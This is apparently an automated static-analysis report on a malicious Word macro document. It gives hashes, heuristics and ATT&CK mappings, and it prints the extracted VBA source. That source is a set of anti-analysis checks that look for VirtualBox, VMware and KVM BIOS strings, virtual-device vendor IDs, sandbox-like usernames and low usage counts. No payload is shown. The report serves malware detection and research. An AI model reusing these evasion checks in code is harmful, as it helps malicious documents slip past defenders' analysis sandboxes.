Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 3c63596dd04935b2…

MALICIOUS

Office (OOXML)

21.9 KB Created: 2021-06-09 08:55:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: aaef15ddc0061263115ef1a076bf519b SHA-1: e3ce7bfad3d432156d5e4bdb096f187fa80432b0 SHA-256: 3c63596dd04935b2ccf2acbbe12504dc6bf9b9eac5c1b151e31b26bdb69298e7
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1566.001 Spearphishing Attachment

This OOXML document contains VBA macros, specifically an AutoOpen macro, which is a common technique for malicious documents. The script performs several checks, including detecting virtual environments (e.g., 'virtualbox', 'vmware') and the number of tasks or recent files, likely to evade analysis. The presence of the AutoOpen macro and GetObject call indicates an attempt to execute malicious code upon opening.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3691 bytes
SHA-256: 338c67e4e238f74cafbbd9837e01a150e78effe08a30c3fc4245e8862f7e4780
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
    On Error Resume Next
    A = checkRecentDocs()
    B = checkNbrOfTask()
    C = checkBios()
    D = checkPnP()
    E = checkUsername()
    F = checkFilenameHash()
    H = checkPreciseFileName()
    I = checkAppCount()
    J = A And B And C And D And E And F And H And I
End Sub


Public Function checkRecentDocs()
    If Application.RecentFiles.Count < 3 Then
        checkRecentDocs = False
    Else
        checkRecentDocs = True
    End If
End Function


Public Function checkNbrOfTask()
    If Application.Tasks.Count < 3 Then
        checkNbrOfTask = False
    Else
        checkNbrOfTask = True
    End If
End Function


Public Function checkBios()
    badBios = False
    badBiosNames = Array("virtualbox", "vmware", "kvm")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Bios", , 48)
    For Each objItem In colItems
        For Each badName In badBiosNames
            If InStr(LCase(objItem.SMBIOSBIOSVersion), badName) > 0 Then
                badBios = True
            End If
            If InStr(LCase(objItem.SerialNumber), badName) > 0 Then
                badBios = True
            End If
        Next
    Next
    If badBios Then
        checkBios = False
    Else
        checkBios = True
    End If
End Function


Public Function checkPnP()
    badPNP = False
    badPNPNames = Array("VEN_80EE", "VEN_15AD")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_PnPEntity", , 48)
    For Each objItem In colItems
        For Each badName In badPNPNames
            If InStr(LCase(objItem.DeviceId), badName) > 0 Then
                badPNP = True
            End If
        Next
    Next
    If badPNP Then
        checkPnP = False
    Else
        checkPnP = True
    End If
End Function


Public Function checkUsername()
    badUsername = False
    badUsernames = Array("admin", "malfind", "sandbox", "test")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    Set colItems = objWMIService.ExecQuery("Select * from Win32_ComputerSystem", , 48)
    For Each objItem In colItems
        For Each badName In badUsernames
            If InStr(LCase(objItem.UserName), badName) > 0 Then
                badUsername = True
            End If
        Next
    Next
    If badUsername Then
        checkUsername = False
    Else
        checkUsername = True
    End If
End Function


Public Function checkFilenameHash()
    hexchars = "0123456789abcdef"
    C = 0
    For I = 1 To Len(ThisDocument.Name)
        s = Mid(LCase(ThisDocument.Name), I, 1)
        If InStr(s, hexchars) > 0 Then
            C = C + 1
        End If
    Next
    If C >= (Len(ThisDocument.Name) - 5) Then
        checkFilenameHash = False
    Else
        checkFilenameHash = True
    End If
End Function


Public Function checkPreciseFileName() As Boolean
    If ActiveDocument.Name = "Doc9.docm" Then
        checkPreciseFileName = True
    Else
        checkPreciseFileName = False
    End If
End Function


Public Function checkAppCount()
    If WordBasic.AppCount() < 50 Then
        checkAppCount = False
    Else
        checkAppCount = True
    End If
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 9205433dfb8fdf6984a24339cfcea37f5768e7e75fe109ca21d9b46690c65141
emf_00.emf ooxml-emf OOXML EMF part: docProps/thumbnail.emf 3316 bytes
SHA-256: e79c536a445b329b8df4571306386b07941cd5e13a0d5afad7178f46a21fc1af

Open this report in the interactive analyzer, or submit your own file for analysis.